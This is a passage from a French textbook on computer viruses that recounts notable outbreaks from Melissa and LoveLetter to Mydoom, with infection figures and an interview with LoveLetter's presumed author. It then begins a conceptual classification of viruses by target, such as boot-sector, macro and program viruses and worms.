Grâce aux informations fournies par Virus Patrol, la traque ne dura que quelquesjours. Les soupcons se confirmèrent lorsque les enquêteurs comparèrent le GUID(Global Unique Identifier) de l’ordinateur du suspect avec celui enregistré dans lefichier original diffusé sur Internet.

L’idée avancée par Microsoft après la découverte de l’existence de cet identifiantpar Robert Smith1 2 était d’améliorer le service en facilitant le travail des supportstechniques et des outils de mise à jour automatique. Les vives critiques émises àl’encontre de Microsoft ont depuis entraîné sa suppression des divers documentscréés depuis la suite Office.

David L. Smith, âgé de 30 ans, fut arrêté dans le New Jersey (États-Unis) par lesautorités fédérales le 1er avril 1999. Sa condamnation fut prononcée en mai 2002.Une première peine, de 20 mois de prison, fut émise par un juge fédéral. Uneseconde, de dix ans d’emprisonnement, le fut par un tribunal du New Jersey.

En définitive, David Smith ne purgera que la première peine.

Ce GUID fit couler beaucoup d’encre. De nombreuses personnes recherchèrentdans d’anciens virus cette même signature. On soupçonna rapidement David des’être caché sous le pseudonyme de Vicodines, auteur de nombreux virus dont W97M/Class.A. Même si aucune preuve formelle n’a pu être apportée publiquement, il sem-ble acquis aujourd’hui que ces 2 personnes n’en font qu’une.

2.13.3 LoveLetter

En mai 2000, VBS/LoveLetter.A@MM3 semait une panique planétaire. Connu égale-ment sous le nom de I Love You ou de Love Bug, il fut créé aux Philippines.

Selon certaines sources, 45 millions de mails infectés circulèrent en un mois4 et,durant cette période, 2 à 3 millions de personnes auraient cliqué sur la pièce jointe eninfectant leur machine et en participant à la propagation générale.

1. MARKOFF, John (7 mars 1999), Microsoft to Alter Software in Response to Privacy Concerns.Document disponible à l’adresse :http://www.nytimes.com/library/tech/99/03/biztech/articles/07soft.html.2. Robert Smith, à ne pas confondre avec David, l’auteur de Melissa !3. FITZGERALD, Nick (2000a), When Love came the Town, Virus Bulletin, juin 2000, pp 6-7.4. Les chiffres les plus alarmistes annoncent 40 millions d’ordinateurs :(http://www.kasperskylabs.com/news.html?id=101).

PAGET_Ch02 Page 75 Lundi, 11. avril 2005 5:25 17

76 Chapitre 2. Historique – de l’innocence à la tentation criminelle

La première société anti-virale à recevoir le virus était située aux Philippines. Ilétait en France 1 h du matin; c’était le 4 mai 1999, dans la nuit du mercredi au jeudi.Rien d’alarmant cependant ne se produisit avant 7 h ; mais, vers 10 h, de nombreuxgroupes de discussion étaient envahis et le virus s’attaquait parallèlement au courrierélectronique.

S’il fallut plus de 6 mois à W32/Ska@M et 2 jours à W97M/Melissa.A@MM pourfaire son tour du monde, quelques heures suffirent à ce dernier.

Ma première alerte en France survint vers 9 h 45; ce grand compte françaiscomptabilisait déjà 4.500.000 mails infectés. Ce jour là certains supports techniqueseuropéens reçurent entre 6000 et 10000 appels.

Devant l’insistance des journalistes, le CLUSIF annonça (trop rapidement) queseul 10 % des grands comptes français avaient été sérieusement touchés. Pour mapart, j’estime que 70 à 80 % des entreprises françaises ont rencontré le virus. Mêmesans réel dommage, elles ont été perturbées. Nombre d’entre elles ont fermé leurmessagerie pour un ou plusieurs jours.

La soudaineté de l’alerte a entraîné l’activation de procédures d’urgence. Beau-coup d’entreprises ne semblaient pas être préparées à cela. Ils méconnaissaient par-fois les procédures automatiques de télédistribution des mises à jour. Cet état de faita sans aucun doute aggravé les perturbations et les pertes financières. Pour certains,les pertes annoncées semblèrent exagérées : 47 milliards de Francs, 900 Francs parPC infecté. Elles intégraient tous les frais annexes dont le temps perdu lié à l’arrêtdes messageries et à l’intervention des techniciens. Même le temps passé à racontersa propre expérience sur son lieu de travail fut comptabilisé.

Son auteur présumé, Onel de Guzman, un étudiant en informatique de l’AmaComputer College, fut arrêté quelques jours plus tard, puis libéré en l’absence de loilocale réprimant ce type d’activité. Le département de justice de son pays estimaqu’aucune charge ne pouvait être retenue contre lui.

Le 13 juillet 2000, une dépêche indiquait qu’il était embauché à Manille par unesociété britannique implantée dans le quartier d’affaires de Makati.

Dans son numéro 529 (21 décembre 2000), la revue Courrier International repritun article du Panorama de Milan ; le journaliste Cristiano Bortone1 y interroge lesuspect qui défend le principe d’un accès universel et gratuit. Il dénonce aussi lamainmise des grands groupes informatiques :

Q : Internet peut-il vraiment servir à améliorer les conditions de vie dans les Étatspauvres ? R : Ici, aux Philippines, il y a tellement de gens qui n’ont rien ! Comment peut-onpenser à Internet quand on a à peine de quoi manger ? Ainsi, comme sujet de mémoire,j’avais pensé à une réflexion sur le moyen de garantir l’accès gratuit à Internet pour

1. BORTONE Cristiano (21/12/2000), Le pirate qui voulait dire « I love you », Courrier Internatio-nal. Numéro 529. Document disponible à l’adresse : http://www.courrierinternational.com/numeros/529/052908301.asp?TYPE=archives.

PAGET_Ch02 Page 76 Lundi, 11. avril 2005 5:25 17

77©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.13 1999 – 2000 – L’invasion des « MASS-MAILERS »

tous. Avec la navigation gratuite, ce ne serait plus forcément nécessaire d’aller à l’école,parce que le réseau est en mesure de fournir tous les moyens d’éducation. Les genspourraient éviter d’avoir à payer des droits d’entrée à l’université (dans notre pays, ilssont très élevés). On n’aurait plus besoin de s’inscrire que pour quelques matières prati-ques ; le reste, on l’apprendrait avec Internet. Mais les polémiques déclenchées par mespropositions après l’explosion du virus "I love you" ont été pour moi un véritable choc.Je ne m’attendais pas à un tel tollé.

Q : Après l’affaire "I love you", les Philippines ont voté précipitamment une loi sur lescrimes informatiques. Pensez-vous qu’elle puisse limiter le développement du Net ? R : Je pense que le principe d’une loi qui réglemente l’utilisation du réseau est juste.Mais tout ce qui limite l’utilisation d’Internet en limite aussi forcément le développe-ment. C’est ce qui va se passer ici. Lorsque la loi sera promulguée, les possibilitésd’apprentissage et de recherche seront de fait limitées. Dans le domaine de la sécurité,par exemple : à partir du moment où la loi interdit d’étudier les virus, même ceux quiexistent déjà, elle impose une limite à l’évolution de nouveaux programmes, qui ne sontpas nécessairement destructeurs.

Q : Mais la Toile est-elle aujourd’hui véritablement aussi vulnérable ? R : Bien sûr. Aujourd’hui, Internet fournit et enseigne quasiment tout : comment on yentre, comment on y navigue, comment faire du hacking. Tout cela est archi-connu. Ily a ceux qui fournissent sans problème tous les instruments pour casser les codes et lesbarrières d’accès – c’est relativement simple. Mais il y a aussi une autre vérité, quepersonne ne dit : aujourd’hui, Internet est utilisé principalement pour faire des affaires,de l’argent. Alors, beaucoup de sociétés informatiques abaissent volontairement lesbarrières de sécurité. Si la sécurité est faible, les hackers trouvent plus intéressant deconstruire leurs propres programmes en utilisant ce système. Mais, en même temps,sans le savoir, ils l’aident à évoluer. L’exemple typique est celui de Microsoft, qui,pendant des années, s’est amélioré précisément avec l’aide des hackers. Linux, aucontraire, décourage les pirates avec une sécurité trop stricte et a fini par rester enarrière. À mon avis, les hackers sont aujourd’hui la future génération de program-meurs. Reste le fait que certains pourraient profiter de la faiblesse du réseau pour lancer desattaques politiques ou terroristes. Tout le monde, au-delà des apparences politiques ou idéologiques, pourrait fairequelque chose de ce genre. Il suffit d’une bonne connaissance de l’ordinateur et peuimporte si la personne est un terroriste à la solde de tel ou tel gouvernement ou un simpleétudiant. Quant aux vrais hackers, je ne crois pas qu’ils aient pour de bon l’intention denuire. Leur seule erreur est d’avoir une grande envie d’apprendre et de découvrir denouvelles frontières.

Q : Comment était l’ambiance à l’Ama Computer College, votre université ? R : L’Ama savait se vendre comme une école de grande qualité. Mais, une fois que j’ysuis entré, je me suis aperçu que l’enseignement était élémentaire et ne convenait pasaux étudiants avancés comme moi. Mes camarades étaient des débutants, les profes-seurs extrêmement jeunes. Pendant cinq ans, je n’y ai pas attaché d’importance : monbut était d’obtenir un diplôme. Les choses qui m’intéressaient, je continuais à lesapprendre tout seul.

PAGET_Ch02 Page 77 Lundi, 11. avril 2005 5:25 17

78 Chapitre 2. Historique – de l’innocence à la tentation criminelle

Q : Qui étaient les Grammersoft ? R : Les Grammersoft ! Ils sont im-menses ! Ils sont uniques. Je crois que j’ai été ladernière recrue du groupe. À cette époque, j’étais encore un débutant, et l’idée departager toutes les connaissances informatiques avec des gens aussi forts m’a emballé.

Q : Comment ce groupe fonctionnait-il ? R : On l’a décrit comme un cercle clandestin. En réalité, c’était une simple banded’amis. On se disait tout ce qui nous passait par la tête, on s’amusait, on se moquait lesuns des autres, sans problème. Nous étions vraiment forts. Nos recherches en informa-tique étaient sans limites.

Q : L’administration de l’école était-elle au courant de l’existence de ce groupe ? R : Bien sûr ! Nous, les Grammersoft, étions célèbres sur tout le campus comme rédac-teurs de thèses : nous aidions les étudiants en difficulté à les écrire. Après "I love you",tout a changé.

Q : En quel sens ? R : Eh bien, avant ce fameux 4 mai, je voyais presque tous les jours les Grammersoft etma petite amie. Je passais la journée à me promener dans les centres commerciaux.Personne ne me connaissait, ni ne m’arrêtait en disant d’une voix forte : "Eh toi ! je teconnais, tu es celui qui a mis un virus dans les ordinateurs." Maintenant, je restepresque tout le temps à la maison. La seule chose qui compte pour moi, c’est deprésenter un autre mémoire à l’Ama et d’obtenir mon diplôme, comme me l’a toujoursconseillé ma mère.

À l’époque de cette interview, plus de 60 variantes du virus étaient répertoriées.L’implémentation immédiate de modules de détection générique ou heuristique per-mit cependant de détecter la majorité d’entre-elles dès leur apparition.

2.13.4 Kak, le Cagou contre Bubbleboy

En octobre 1999 un nouvel exploit technique est accompli. JS/Kak@M démontrequ’avec le courrier électronique un virus peut s’affranchir d’une pièce jointe. Auformat HTML, une simple prévisualisation suffit à infecter la machine. Au momentde sa découverte (je reçois ma première souche virale le 22 octobre 1999), nousl’ajoutons dans nos bases de signature et le phénomène passe médiatiquementinaperçu.

La primeur de cette technique d’infection sera ensuite faussement attribuée àVBS/Bubbleboy@MM, et à son auteur Zulu, au début novembre de la même année.

Sans pièce jointe, le courriel semble donc d’un premier abord inoffensif. SousOutlook Express, une simple prévisualisation est pourtant suffisante pour permettreau virus d’infecter l’environnement. Il utilise une faille d’Internet Explorer1 lui per-mettant de s’exécuter silencieusement malgré une configuration des options de sécu-rité de niveau élevée.

1. MS99-032 : Scriplet.Typelib/Eyedog.

PAGET_Ch02 Page 78 Lundi, 11. avril 2005 5:25 17

79©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.13 1999 – 2000 – L’invasion des « MASS-MAILERS »

Le virus s’intègre alors comme signature par défaut d’Outlook Express. Il est ainsiréexpédié avec tout nouveau mail.

L’auteur du virus ne fut jamais ni recherché, ni inquiété alors que Kak grimpamois après mois les échelons des TOP-10 mondiaux.

2.13.5 VBS/Timofonica

LoveLetter fit beaucoup d’émules et les virus de script se propageant via le courrierélectronique et le carnet d’adresses Outlook furent vite légion.

En juin 2000, VBS/Timofonica@MM n’est qu’un mass-mailer de plus. Il retientcependant l’attention du public car il est capable d’envoyer des messages SMS(Shorts Messaging Service) aux utilisateurs du service de portable espagnol Telefonicas’ils sont abonnés au service correo.movistar.net.

Chaque numéro est choisi aléatoirement ; la sélection démarre par le choix d’unpréfixe tiré dans une liste à 8 entrées. Le virus ajoute ensuite 6 nombres au hasardpuis envoie un minimessage en espagnol dénigrant la compagnie Telefónica.

Le sujet du message était TIMOFONICA. Le terme timo voulant dire tricherie enespagnol, on comprend alors le choix de l’auteur.

2.13.6 Autour des PDA – PalmOS/Phage

VBS/Timofonica ne se transmettait absolument pas par les téléphones. Il ne fut doncpas le représentant d’une nouvelle variété de virus pouvant s’attaquer aux fonctionsprogrammables des nouveaux téléphones mobiles et ordinateurs de poche.

Ce que l’on voit à cette époque ne sont que des programmes canulars ou des chevauxde Troie. Certains affichent des messages d’autres modifient le rétro éclairage. Leplus connu est W32/Sabia.prc. Comme pour les exemples précédents, il ne s’agit pasd’un virus mais d’un programme du type carte de vœux installé par un virusconventionnel : W32/Sabia@M, alias MTX_II.

Le premier virus théoriquement capable de se propager dans l’environnement Pal-mOS fut PalmOS/Phage. Fonctionnant selon la méthode du recouvrement, il futdécouvert en août 2000 et rapidement détectable.

La version initiale du virus, autrement dit son programme d’installation (dropper)se présente sous la forme d’un fichier avec une l’icône de l’émulateur GameBoyLiberty. Il se nomme Crack 1.1. Le fichier .prc correspondant porte le nomde liberty_1_crack.prc et cherche à se faire passer pour une version pirate de l’émula-teur.

La rumeur veut qu’Aaron Ardiri – l’éditeur du véritable émulateur GameBoyLiberty – en soit l’auteur.

PAGET_Ch02 Page 79 Lundi, 11. avril 2005 5:25 17

80 Chapitre 2. Historique – de l’innocence à la tentation criminelle

2.14 2001 – 2003 – UN DISCRET CHANGEMENT DE CAP

À l’aube du nouveau millénaire, les techniques de détection générique et heuris-tique sont de plus en plus efficaces faces aux virus de macro et de script. Ceux ci vontdonc se faire de plus en plus rare et finir par disparaître.

A contrario, les systèmes d’exploitation Windows redeviennent des terrains deprédilection pour les auteurs de virus. Toutes les techniques de furtivité et de cryp-tage qui s’appliquaient à la plate-forme DOS sont maintenant actualisées pour fonc-tionner dans ces environnements. La tendance s’applique aussi aux mass-mailers : lesvirus programme (W32) prennent le dessus.

Plus complexes, ces virus mettrent en œuvre des processus rendant plus difficilela détection. Au travers d’un même fichier, ils peuvent élargir leurs techniques depropagation.

Chaque mois, de nouvelles vulnérabilités sont mises à jour. Les auteurs de virusne les découvrent pas eux-mêmes mais s’empressent de les utiliser dès qu’elles sontdivulguées. Elles ne s’appliquent généralement pas aux virus échangés par courrier

Tableau 2.5 — Principaux virus rencontrés en France de 2001 à 2003

2001 2002 2003

W32/Sircam@MM W32 W32/Klez@MM W32 W32/Mimail@MM

W32

W32/Badtrans.B@MM

W32 W32/Bugbear@MM

W32 W32/Sobig@MM W32

W32/Magistr.B@MM W32 W32/Sircam@MM W32 W32/Klez@MM W32

VBS/VBSWG.X@MM(alias Homepage)

Script W32/Yaha@MM W32 W32/Bugbear@MM

W32

W32/Magistr.A@MM

W32 W32/Magistr@MM

W32 W32/Yaha@MM W32

JS/Kak@M Script W32/Bad-trans@MM

W32 W32/Fizzer@MM W32

W32/Hybris.D@MM W32 W32/Frethem@MM

W32 W32/Sircam@MM

W32

VBS/Tam.A@MM Script W32/Hybris@MM W32 W32/Magistr@MM

W32

W32/Navidad.B@M W32 W32/MyParty@MM

W32 W32/Swen@MM W32

W32/Badtrans.A@MM

W32 VBS/Tam@M Script W32/Lirva@MM W32

PAGET_Ch02 Page 80 Lundi, 11. avril 2005 5:25 17

81©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.15 L’été 2003 : ce sont principalement les particuliers qui trinquent !

électronique qui restent de conception banale. Elles donnent, par contre, naissanceà de véritables vers dans la lignée de ceux des années 80.

Le premier d’entre eux, W32/CodeRed.worm.A voit le jour en juillet 20011. Uni-quement en mémoire dans sa version initiale, il infecte, en 24 heures, 350.000machines autour du monde. C’est beaucoup plus que Loveletter dans le même laps detemps.

Un an et demi après, le 25 janvier 2003, apparaît W32/SQLSlammer.worm2. Lesleçons apprises n’ont pas vraiment servi. Le patch de sécurité bloquant la faille estconnu depuis juillet 2002 mais de nombreuses machines sont toujours vulnérables.En 10 minutes, 90 % de ces machines sont atteintes. Selon les sources c’est entre75.000 et 350.000 ordinateurs qui furent infectées. Le chiffre le plus élevé est sansdoute le plus probable.

En septembre 2001, W32/Nimda@MM3 est le premier virus pouvant se prévaloirdu titre de virus Internet. Ses modes de propagation multiples lui permettent une pro-pagation optimale via, la messagerie, les serveurs IIS4, les partages réseaux et au tra-vers des consultations web. Il infecte les serveurs mais également les stations detravail.

Cette période est également celle des premiers virus liés au mode d’échange posteà poste (P2P – peer to peer). En 2000 et 2001 quelques tentatives isolées avaient cibléGnutella sans grand succès. À la fin 2004, plusieurs milliers de ces virus sont connus.Le premier de cette nouvelle vague, en mai 2002, fut baptisé W32/Benjamin.worm.

Toutes ces nouveautés s’accompagnent d’un changement majeur qui passe – unpremier temps – inaperçu du public. De nombreux virus tels que W32/Sircam@MMet W32/Bugbear@MM, transportent des portes dérobées et des outils de collected’information. Il faudra attendre l’été 2003 pour en mesurer l’ampleur.

2.15 L’ÉTÉ 2003 : CE SONT PRINCIPALEMENT LES PARTICULIERS QUI TRINQUENT !

La seconde quinzaine d’août 2003, est riche en évènements viraux. Coup sur coup,plusieurs virus troublent les vacances :

• 11 août 2003 : W32/Blaster.worm.A (alias Lovsan).• 18 août 2003 : W32/Sobig.F@MM.

• 18 août 2003 : W32/Nachi.worm (alias Welchia).

1. Vulnerabilité MS01-033.2. Vulnerabilité MS02-039.3. Vulnerabilités MS01-20 et MS01-44.4. IIS : INTERNET Information Server. Serveur web développé par MICROSOFT et totalementintégré à Windows.

PAGET_Ch02 Page 81 Lundi, 11. avril 2005 5:25 17

82 Chapitre 2. Historique – de l’innocence à la tentation criminelle

• 19 août 2003 : W32/Dumaru.A@MM.• 18 septembre 2003 : W32/Swen@MM.

Blaster et Sobig.F sont les principales vedettes de cette période.

Le premier exploite une nouvelle vulnérabilité du système d’exploitation Micro-soft1. Dans la lignée de Codered et Slammer, sa propagation est automatique. Elle estqualifiée d’explosive.

Le second transite via la messagerie électronique. Tributaire de chaque destina-taire qui doit double-cliquer sur la pièce jointe pour réactiver le virus il se propagemoins rapidement mais plus longuement.

Il est toujours difficile d’estimer le nombre de machines touchées. Avec Sobig.F,certaines sources en annoncent plus de 13 millions au bout de quelques semaines2. Iln’en est rien ; et même si la Société Messagelabs indique que durant la premièresemaine 22 millions de messages infectés furent en circulation, il est plus raisonna-ble d’estimer que moins d’un million de machines sont effectivement atteintes ces 7premiers jours. Ce chiffre devient rapidement définitif puisque Sobig.F est pro-grammé pour arrêter sa course le 10 septembre 2003.

De son coté, Blaster devient la bête noire des administrateurs réseaux. En moinsd’une journée il touche entre 1 et 2,5 millions de PC. La faille liée à sa propagationétant parfaitement décrite depuis la mi-juillet 2003, les concepteurs de produit anti-virus attendaient un virus tel que celui-ci. Certains d’entre eux avaient – une semaineavant l’attaque – intégré des détections génériques. Avec un bon anti-virus à jour, laprotection était donc efficace. Ceci n’empêcha pas la propagation massive du virus.

Outre W32/Sobig.F@MM, un second virus apparaît le 18 août. W32/Nachi.worm,que certains dénommèrent le tueur de Lovsan n’est en fait qu’un virus de plus. Élimi-nant imparfaitement son concurrent et tentant d’installer – incorrectement – le cor-rectif MS03-026, il ne fait qu’augmenter la perturbation du moment.

L’avant dernier virus de la liste est W32/Dumaru.A@MM. Il apparaît durant cettemême période, mais c’est plus tard qu’il monte en puissance. Tout comme Sobig etBlaster il touche plus fortement les PC familiaux que ceux des entreprises. La rigueurdes procédures de mise à jour de l’anti-virus et des correctifs liés au système d’exploi-tation est souvent absente chez les particuliers. À leur décharge, même équipés del’ADSL, ils ont souvent des difficultés dans la réalisation de ces tâches. Quant à l’uti-lisation d’un pare-feu personnel, n’en parlons pas !!

1. MS03-026 : Buffer Overrun In RPC Interface Could Allow Code Execution (823980).2. Le chiffre de 20 millions d’ordinateurs infectés en Chine a fait l’objet de plusieurscommuniqués :http://www.news.com.au/common/story_page/0%2C4057%2C7058237%255E15306%2C00.html.http://h50055.www5.hp.com/smb/au/resources/virus.aspx.

PAGET_Ch02 Page 82 Lundi, 11. avril 2005 5:25 17

83©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.16 Janvier 2004 : W32/MYDOOM.A@MM

Le dernier de la série est W32/Swen@MM. C’est à nouveau les particuliers qui ensont la principale victime. Se faisant, lui aussi, passer pour une mise à jour de Micro-soft, il a une interface graphique très convaincante. Elle guide la victime à traversl’installation factice d’un soi-disant correctif.

Microsoft explique qu’il ne distribue jamais de correctifs au travers du courrierélectronique1. De nombreuses personnes se laissent pourtant prendre.

2.16 JANVIER 2004 : W32/MYDOOM.A@MM

Dans le domaine viral, le lundi 26 janvier 2004 restera pour longtemps dans lesmémoires. Vers 18h GMT (19h, heure française) un nouveau virus est repéré. Sepropageant principalement au travers de la messagerie électronique, il est aussicapable d’investir le réseau d’échange de fichiers KaZaA.

L’un des premiers à analyser le virus est mon collègue Craig Schmugar, chercheuranti-virus au sein du groupe AVERT (Beaverton, Oregon). Ayant décompacté lecode viral il remarque, parmi de nombreuses autres, la chaîne de caractèresmydomai ; elle lui inspire le nom de Mydoom qu’il propose alors à l’ensemble de notrecommunauté de chercheurs.

La rapidité de propagation est aussi surprenante qu’élevée. Le tableau ci-dessousreprend une série de chiffres que me fournit directement la société MessageLabs2. Ilexplique également comment il m’a été possible d’annoncer un chiffre dépassant lemillion de machines infectées en utilisant le nombre d’adresses IP uniques émettri-ces du virus.

1. Une page rappelle ce principe : http://www.microsoft.com/france/securite/alertes/swen.asp.2. MessageLabs Email Threats : http://www.messagelabs.com/emailthreats/.

PAGET_Ch02 Page 83 Lundi, 11. avril 2005 5:25 17

84 Chapitre 2. Historique – de l’innocence à la tentation criminelle

Le 2 février 2004, l’ampleur de l’infection se mesure également au regard desautres virus ayant préalablement défrayé la chronique. Apparu le 18 août 2003,W32/Sobig.F@MM est toujours en tête avec plus de 33 millions de mails interceptéssur 12 mois. Mydoom.A se trouve en seconde place devant W32/[email protected] le 15 avril 2002, celui-ci est crédité de plus de 8 millions de mails.

À la fin du mois de février, le classement a évolué. Mydoom est, de loin, en tête depeloton.

Tout comme la plupart des variantes de Sobig et Dumaru, Mydoom possède en soncode une date de fin d’activité. Il stoppe sa propagation le 12 février 2004. Le 13février, il n’est plus qu’un souvenir.

2.17 À SUIVRE…

L’été 2003 est un tournant dans le monde des virus. Se cachant toujours derrière denombreuses gamineries, leur but devient beaucoup plus réfléchi. La frontière entre

Tableau 2.6 — En six jours, Mydoom infecte plus d’un million de machines

Date (GMT)Nombre cumulé d’interceptions

E-mails Adresses IP uniques

Jour J 26/1/2004 – 18h

J +1 27/1/2004 250.000 39.000

J+2 28/1/2004 5.300.000 376.000

J+3 29/1/2004 9.900.000 610.000

J+4 30/1/2004 13.700.000 800.000

J+5 31/1/2004 17.300.000 943.000

J+6 01/2/2004 19.000.000 1.013.000

J+7 02/2/2004 20.200.000 1.064.000

Tableau 2.7 — En un mois, Mydoom est en tête des interceptions

Virus Total cumulé d’interceptions (25/2/2004)

W32/Mydoom.A@MM 54 millions

W32/Sobig.F@MM 33 millions

W32/Klez.H@MM 8 millions

PAGET_Ch02 Page 84 Lundi, 11. avril 2005 5:25 17

85©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it2.17 À suivre…

auteurs de virus, hackers et véritables acteurs de la criminalité informatiques’amenuise. Certains spécialistes du domaine n’hésitent plus à imaginer que l’appari-tion programmée des diverses variantes de Sobig fait parti d’un plan minutieux quidépasse le simple amusement ou l’envie de briller1. Diverses études démontrentqu’une action réfléchie anime les auteurs de la série2. On s’aperçoit ainsi que desspammeurs utilisent des machines infectées comme relais d’émission3. En novembre2004, un document sera distribué anonymement sur Internet. Alors que les investi-gations policières se poursuivent, sous couvert d’anonymat, son auteur n’hésite pas àproposer un coupable4.

Depuis l’extinction de Mydoom.A, d’autres virus ont suscité le trouble. Lesmémoires retiendront entre autre les batailles que se livrèrent les auteurs de Netskyet Bagle durant le premier semestre 2004. Les nouveaux objectifs de ces programmesmalveillants et la traque de leurs auteurs feront sans aucun doute parti de l’histoirede demain. Nous tenterons de les mettre en perspective dans le dernier chapitre dece livre.

1. Il est possible de lire à ce sujet un interview de Mikko Hyponnen (F-Secure) à l’adresse :http://www.tf1.fr/news/multimedia/0,,1354696,00.html.2. Sobig.a and the Spam You Received Today : http://www.lurhq.com/sobig.html. Sobig.e – Evolutionof the Worm : http://www.lurhq.com/sobig-e.html. Sobig.f Examined : http://www.lurhq.com/sobig-f.html.3. Spam and Viruses Hit All Time Highs in 2003. http://www.messagelabs.com/news/virusnews/detail/?contentItemId=613&region=.4. Who Wrote Sobig ? : http://spamkings.oreilly.com/WhoWroteSobig.pdf.

PAGET_Ch02 Page 85 Lundi, 11. avril 2005 5:25 17

PAGET_Ch02 Page 86 Lundi, 11. avril 2005 5:25 17

3

Notions fondamentales

À la lecture du premier chapitre, nous avons saisi que pour acquérir cette appella-tion, un virus doit se reproduire. Au travers de la partie historique de ce livre, nousavons aussi constaté que derrière cette caractéristique unique se cachaient des sous-ensembles distincts. Nous allons donc maintenant différencier les virus selon leurscibles et leurs fonctionnalités.

3.1 LES VIRUS PAR CIBLES

Il existe quatre catégories principales de virus. Elles ont chacune une cible bienprécise :

• Les virus système. Ils visent le secteur de partition ou le secteur de démarragedes disques durs et des disquettes.

• Les virus interprétés. Il s’agit principalement des virus de macro et de script.Ils utilisent des langages de programmation particuliers qui se rapprochent dela programmation par lot (fichiers

.bat

). Les macro-virus s’intéressent auxdocuments qui peuvent contenir des routines automatisables et programma-bles. Les virus de script s’attaquent directement aux programmes écrits enlangage interprété.

• Les virus programme. Ils s’attaquent aux exécutables compilés (fichiers binai-res).

• Les vers. Infection typique des réseaux, ils se propagent d’ordinateurs en ordi-nateurs.

De nombreux virus cumulent les cibles en renforçant ainsi leur capacité de con-tamination. Ils prennent alors les noms de virus multipartite, multifonction ou multiplate-forme.

PAGET_Ch03 Page 87 Lundi, 11. avril 2005 5:24 17

88 Chapitre 3. Notions fondamentales

3.1.1 Virus système

Au début des années 1990, la grande majorité des virus rencontrés étaient des virussystème. Leur forte propagation puis leur disparition s’expliquent par les mêmescauses :

• leurs terrains de prédilection sont les disquettes. Elles sont aujourd’hui rare-ment utilisées ; les échanges se font maintenant via d’autres supports (clésUSB, CD-ROM) ou par courrier électronique et téléchargement,

• la propagation nécessite un environnement DOS ou Windows 16 bits. Lessystèmes d’exploitation actuels exploitent généralement le 32 bits.

La contamination d’une machine est toujours la conséquence d’une tentativevolontaire ou involontaire de démarrage depuis une disquette contaminée. L’infec-tion peut réussir que cette disquette soit ou non,

formatée système

.

Pour bien comprendre ce phénomène, il faut savoir que toute disquette formatéecontient un petit programme dans son premier secteur physique. Si au démarrage dela machine, le lecteur de disquette est interrogé, ce programme sera exécuté. Pourune simple disquette de donnée, il affichera un message d’erreur ; pour une disquettesystème, il donnera la main à d’autres programmes qui poursuivront le processus.

Au niveau du disque dur, des programmes similaires existent et sont, eux aussi,exécutés au démarrage de la machine. L’un est situé dans le premier secteur physiquedu disque, l’autre dans le premier secteur de la première unité logique.

Pour réaliser son but, le virus système cherche à s’introduire dans ces zones systè-mes. Elles sont normalement réservées au système d’exploitation et portent le nomde :

• secteur des partitions (

MBR, Master Boot Record

) pour les disques durs,• secteur de démarrage (

BOOT, Boot Sector

) pour les disques durs et les disquet-tes.

Le principe de fonctionnement est le suivant :

• le virus est présent dans le secteur de démarrage d’une disquette,• pour une raison quelconque, cette disquette se trouve dans le lecteur au

moment d’un démarrage machine. Elle contamine le PC lorsque le BIOSexécute le code qu’elle contient,

• le code original du BOOT ou du MBR du disque dur est déplacé ou écrasé,• le virus remplace ce code par lui-même,• il sauvegarde éventuellement le code excédant (code complémentaire du

virus) dans d’autres secteurs, libres ou occupés,• dès lors, et à chaque nouveau démarrage, le virus sera résident en mémoire et

capable d’infecter d’autres disquettes sur un simple accès. Le virus n’a aucuneaction sur une disquette protégée en écriture.

PAGET_Ch03 Page 88 Lundi, 11. avril 2005 5:24 17

89

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

3.1 Les virus par cibles

Il nous faut maintenant comprendre comment tout cela a commencé. Trois pos-sibilités sont envisageables :

• l’auteur du virus a créé de toute pièce des disquettes infectées, puis les a distri-buées. C’est cette technique qu’utilisa l’auteur de BRAIN en 1986,

• l’auteur a diffusé des programmes capables d’installer le virus en espérant quecertains d’entres eux soient exécutés à un moment ou à un autre. Cesprogrammes prennent le nom d’

implanteurs

ou d’

injecteurs

(en anglais :

drop-pers

). L’un d’entre eux a été diffusé en 1991. Son but était d’installer un virusque l’on baptisa alors

Horse Boot

,• le virus est multipartite. Il est capable d’infecter tout aussi bien des program-

mes que des zones systèmes. Ces dernières peuvent alors être infectées demanière conventionnelle ou via un exécutable contaminé selon la techniquedu

dropper

.

OneHalf

et

Tequila

sont deux exemples de virus multipartites.

3.1.2 Virus interprètes

Jusqu’à l’arrivée de

WM/Concept

en 1995, le grand public était persuadé qu’un virus,considéré à juste titre comme un programme, ne pouvait être véhiculé et introduitdans un ordinateur qu’avec l’aide d’un autre programme. En clair, seuls des fichiersbinaires ou des zones système pouvaient s’avérer dangereuses. A contrario, lesfichiers ne contenant que des données, des images ou du code source étaient sansdanger.

La sophistication des outils bureautiques avec l’apparition des langages de macrobouleversa la donne. Les fichiers tels que ceux contenant des textes ou des feuilles decalcul se sont trouvés enrichis de routines automatisables (formules, macro-langage…) et programmables.

Une autre évolution empreinta des chemins parallèles. Pour gagner en interacti-vité et atteindre un plus large public, des langages de haut niveau, puissants, facile-ment exploitables et aisément compréhensibles virent le jour. Liés à desinterpréteurs – programmes dont la fonction est de convertir le code source en lan-gage machine – ils permirent de créer des fichiers de traitement par lot.

Tableau 3.1

— Quelques virus système couramment rencontrés dans les années 1990

DISQUE DUR DISQUETTE

VIRUS DATE/ORIGINE MBR BOOT BOOT

Jumper.B Mai 1993 / France OUI - OUI

Parity Boot Sept. 1992 / Allemagne OUI - OUI

Antiexe Sept. 1993 / France (?) OUI -

Form Juin 1990 / Suisse - OUI OUI

PAGET_Ch03 Page 89 Lundi, 11. avril 2005 5:24 17

90 Chapitre 3. Notions fondamentales

Toutes ces nouveautés devinrent sans délai de nouveaux terrains d’activité pourles auteurs de virus.

Les uns et les autres pouvaient être appelés au travers de pages HTML. Exploi-tant diverses vulnérabilités, ils devinrent donc accessibles et exécutables en local ouà distance, au travers du réseau Internet.

Macro-Virus

De 1996 à 1999, les macro virus constituèrent la principale menace. Les virusprogrammes étaient inexistants et l’influence des virus systèmes diminuait avecl’abandon progressif des disquettes. Dans un premier temps, celles-ci permirentnéanmoins la propagation de ces nouveaux venus avant que le courrier électroniquene devienne le principal outil d’échange.

